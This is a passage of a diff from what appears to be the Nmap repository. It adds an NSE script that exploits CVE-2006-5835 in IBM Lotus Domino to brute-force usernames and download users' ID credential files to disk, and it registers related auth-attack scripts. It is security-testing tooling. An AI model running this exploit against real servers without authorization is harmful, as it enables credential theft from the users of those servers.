if ( #id_files ) then
|
||||
id_files.name = "ID Files"
|
||||
table.insert( result, id_files )
|
||||
end
|
||||
end
|
||||
|
||||
local result = stdnse.format_output(true, result)
|
||||
|
||||
if ( max_fetch > 0 ) then
|
||||
result = result .. (" \n Results limited to %d results (see domino-enum-passwords.count)"):format(max_fetch)
|
||||
end
|
||||
|
||||
return result
|
||||
|
||||
end
|
||||
131
scripts/domino-enum-users.nse
Normal file
131
scripts/domino-enum-users.nse
Normal file
@@ -0,0 +1,131 @@
|
||||
description = [[
|
||||
A script that attempts to discover valid IBM Lotus Domino users and download
|
||||
their ID files. (CVE-2006-5835)
|
||||
]]
|
||||
|
||||
---
|
||||
-- @usage
|
||||
-- nmap --script domino-enum-users -p 5900 <host>
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE REASON
|
||||
-- 1352/tcp open lotusnotes
|
||||
-- | domino-enum-users:
|
||||
-- | User "Patrik Karlsson" found, but not ID file could be downloaded
|
||||
-- | Succesfully stored "FFlintstone" in /tmp/FFlintstone.id
|
||||
-- |_ Succesfully stored "MJacksson" in /tmp/MJacksson.id
|
||||
--
|
||||
--
|
||||
-- @args domino-id.path the location to which any retrieved ID files are stored
|
||||
-- @args domino-id.username the name of the user from which to retrieve the ID.
|
||||
-- If this parameter is not specified, the unpwdb library will be used to
|
||||
-- brute force names of users.
|
||||
--
|
||||
-- For more information see:
|
||||
-- http://www-01.ibm.com/support/docview.wss?rs=463&uid=swg21248026
|
||||
--
|
||||
-- Credits
|
||||
-- -------
|
||||
-- o Ollie Whitehouse for bringing this to my attention back in the days when
|
||||
-- it was first discovered and for the c-code on which this is based.
|
||||
|
||||
--
|
||||
-- Version 0.1
|
||||
-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
--
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"intrusive", "auth"}
|
||||
|
||||
require 'shortport'
|
||||
require 'nrpc'
|
||||
require 'unpwdb'
|
||||
|
||||
portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open")
|
||||
|
||||
--- Saves the ID file to disk
|
||||
--
|
||||
-- @param filename string containing the name and full path to the file
|
||||
-- @param data contains the data
|
||||
-- @return status true on success, false on failure
|
||||
-- @return err string containing error message if status is false
|
||||
local function saveIDFile( filename, data )
|
||||
local f = io.open( filename, "w")
|
||||
if ( not(f) ) then
|
||||
return false, ("Failed to open file (%s)"):format(filename)
|
||||
end
|
||||
if ( not(f:write( data ) ) ) then
|
||||
return false, ("Failed to write file (%s)"):format(filename)
|
||||
end
|
||||
f:close()
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local helper = nrpc.Helper:new( host, port )
|
||||
local status, data, usernames, err
|
||||
local path = nmap.registry.args['domino-enum-users.path']
|
||||
local result = {}
|
||||
local save_file = false
|
||||
local counter = 0
|
||||
|
||||
if ( nmap.registry.args['domino-enum-users.username'] ) then
|
||||
usernames = ( function()
|
||||
local b = true
|
||||
return function()
|
||||
if ( b ) then
|
||||
b=false;
|
||||
return nmap.registry.args['domino-enum-users.username']
|
||||
end
|
||||
end
|
||||
end )()
|
||||
else
|
||||
status, usernames = unpwdb.usernames()
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to load usernames"
|
||||
end
|
||||
end
|
||||
|
||||
for username in usernames do
|
||||
status = helper:connect()
|
||||
if ( not(status) ) then
|
||||
err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
|
||||
break
|
||||
end
|
||||
|
||||
status, data = helper:isValidUser( username )
|
||||
helper:disconnect()
|
||||
|
||||
if ( status and data and path ) then
|
||||
local filename = ("%s/%s.id"):format(path, username )
|
||||
local status, err = saveIDFile( filename, data )
|
||||
|
||||
if ( status ) then
|
||||
table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) )
|
||||
else
|
||||
stdnse.print_debug( err )
|
||||
table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
|
||||
end
|
||||
elseif( status and data ) then
|
||||
table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username, filename) )
|
||||
elseif ( status ) then
|
||||
table.insert(result, ("User \"%s\" found, but not ID file could be downloaded"):format(username) )
|
||||
end
|
||||
|
||||
counter = counter + 1
|
||||
end
|
||||
|
||||
if ( #result == 0 ) then
|
||||
table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
|
||||
end
|
||||
|
||||
result = stdnse.format_output( true, result )
|
||||
if ( err ) then
|
||||
result = result .. (" \n %s"):format(err)
|
||||
end
|
||||
|
||||
return result
|
||||
end
|
||||
@@ -24,6 +24,10 @@ Entry { filename = "dns-random-txid.nse", categories = { "external", "intrusive"
|
||||
Entry { filename = "dns-recursion.nse", categories = { "default", "intrusive", } }
|
||||
Entry { filename = "dns-service-discovery.nse", categories = { "default", "discovery", "safe", } }
|
||||
Entry { filename = "dns-zone-transfer.nse", categories = { "default", "discovery", "intrusive", } }
|
||||
Entry { filename = "domcon-brute.nse", categories = { "auth", "intrusive", } }
|
||||
Entry { filename = "domcon-cmd.nse", categories = { "auth", "intrusive", } }
|
||||
Entry { filename = "domino-enum-passwords.nse", categories = { "auth", "intrusive", } }
|
||||
Entry { filename = "domino-enum-users.nse", categories = { "auth", "intrusive", } }
|
||||
Entry { filename = "drda-brute.nse", categories = { "auth", "intrusive", } }
|
||||
Entry { filename = "drda-info.nse", categories = { "discovery", "safe", "version", } }
|
||||
Entry { filename = "finger.nse", categories = { "default", "discovery", "safe", } }
|
||||
|
||||
Reference in New Issue
Block a user